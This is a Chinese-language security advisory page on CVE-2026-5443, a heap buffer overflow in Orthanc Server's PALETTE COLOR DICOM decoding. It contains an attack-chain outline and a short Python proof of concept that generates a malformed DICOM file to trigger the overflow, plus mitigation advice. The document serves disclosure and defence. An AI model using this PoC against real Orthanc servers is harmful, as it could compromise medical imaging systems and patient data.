IPBUF安全漏洞报告
English
CVE-2026-5443 CVSS 9.8 严重

CVE-2026-5443 Orthanc堆缓冲区溢出漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5443
漏洞类型
堆缓冲区溢出
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Orthanc Server

相关标签

堆溢出远程代码执行OrthancDICOM医疗设备安全CVSS-9.8

漏洞概述

该漏洞存在于Orthanc Server的DICOM图像解码功能中,CVSS评分为9.8,属于严重级别。在解码`PALETTE COLOR`类型的DICOM图像时,由于像素长度验证使用了32位乘法计算宽高乘积,导致整数溢出。攻击者可利用此漏洞绕过边界检查,引发堆缓冲区溢出。该漏洞无需认证且无需用户交互,攻击者可通过网络发送特制的恶意DICOM文件,导致远程代码执行,严重威胁系统的机密性、完整性和可用性。

技术细节

漏洞的根源在于DICOM图像解码器对`PALETTE COLOR`图像的处理逻辑。在进行像素长度验证时,程序使用32位整数变量存储图像宽度与高度的乘积。当攻击者构造一个具有极大宽度或高度的DICOM文件时,其乘积会超出32位整数的表示范围(2^31-1),导致整数溢出并回绕成一个较小的数值。基于此错误数值的边界检查会误判缓冲区大小充足。然而,后续的解码操作可能基于原始的巨大尺寸进行内存偏移计算,导致向已分配的堆缓冲区之外读写数据。这种越界读写可破坏堆元数据或覆盖关键代码指针,从而允许攻击者控制程序执行流,实现远程代码执行。

攻击链分析

STEP 1
侦察
攻击者扫描网络寻找暴露在互联网上的Orthanc Server服务(通常为4242端口)。
STEP 2
构造恶意文件
攻击者利用Python或其他工具编写脚本,生成包含特制宽度和高度值的DICOM图像文件,旨在触发32位整数溢出。
STEP 3
发送Payload
攻击者通过DICOM协议(C-STORE RQ)或HTTP上传接口将恶意DICOM文件发送至目标Orthanc服务器。
STEP 4
触发溢出
Orthanc Server接收文件并尝试解码。在计算像素长度时发生整数溢出,导致后续的内存拷贝操作超出堆缓冲区边界。
STEP 5
执行代码
攻击者通过精心布置的堆喷射或ROP链,控制溢出后的执行流,在服务器上以服务权限执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pydicom import struct # PoC Concept: Create a malformed DICOM file with large width/height to trigger 32-bit overflow # This script demonstrates the logic to create a file that would trigger the vulnerability. def create_malformed_dicom(filename): # Minimal DICOM structure file_meta = pydicom.dataset.FileMetaDataset() file_meta.TransferSyntaxUID = '1.2.840.10008.1.2' # Implicit VR Little Endian ds = pydicom.dataset.FileDataset(filename, {}, file_meta=file_meta, preamble=b"\x00" * 128) ds.SOPClassUID = '1.2.840.10008.5.1.4.1.1.7' # Secondary Capture Image Storage ds.SOPInstanceUID = '1.2.3.4.5' # Set specific tag to trigger PALETTE COLOR decoding if applicable or force specific path # The core issue is width * height calculation. # Let's assume width = 65536 (0x10000) and height = 65536 (0x10000) # Multiplication: 0x10000 * 0x10000 = 0x100000000 # In 32-bit arithmetic, this overflows to 0. ds.Rows = 65536 ds.Columns = 65536 ds.BitsAllocated = 8 ds.PixelRepresentation = 0 ds.SamplesPerPixel = 1 ds.PhotometricInterpretation = 'PALETTE COLOR' # Add dummy pixel data (size doesn't strictly matter for the trigger, structure does) ds.PixelData = b'\x00' * 100 ds.save_as(filename) print(f"Malformed DICOM file saved to {filename}") print("Sending this file to Orthanc Server may trigger the heap overflow.") # create_malformed_dicom('exploit.dcm')

影响范围

Orthanc Server (具体受影响版本请参考Orthanc官方安全公告)

防御指南

临时缓解措施
在无法立即补丁的情况下,建议限制Orthanc Server的网络暴露面,禁止直接从互联网访问。同时,应严格监控服务器进程的CPU和内存使用情况,以防已发生的攻击行为。对于非必要的DICOM图像处理服务,可暂时关闭直至修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表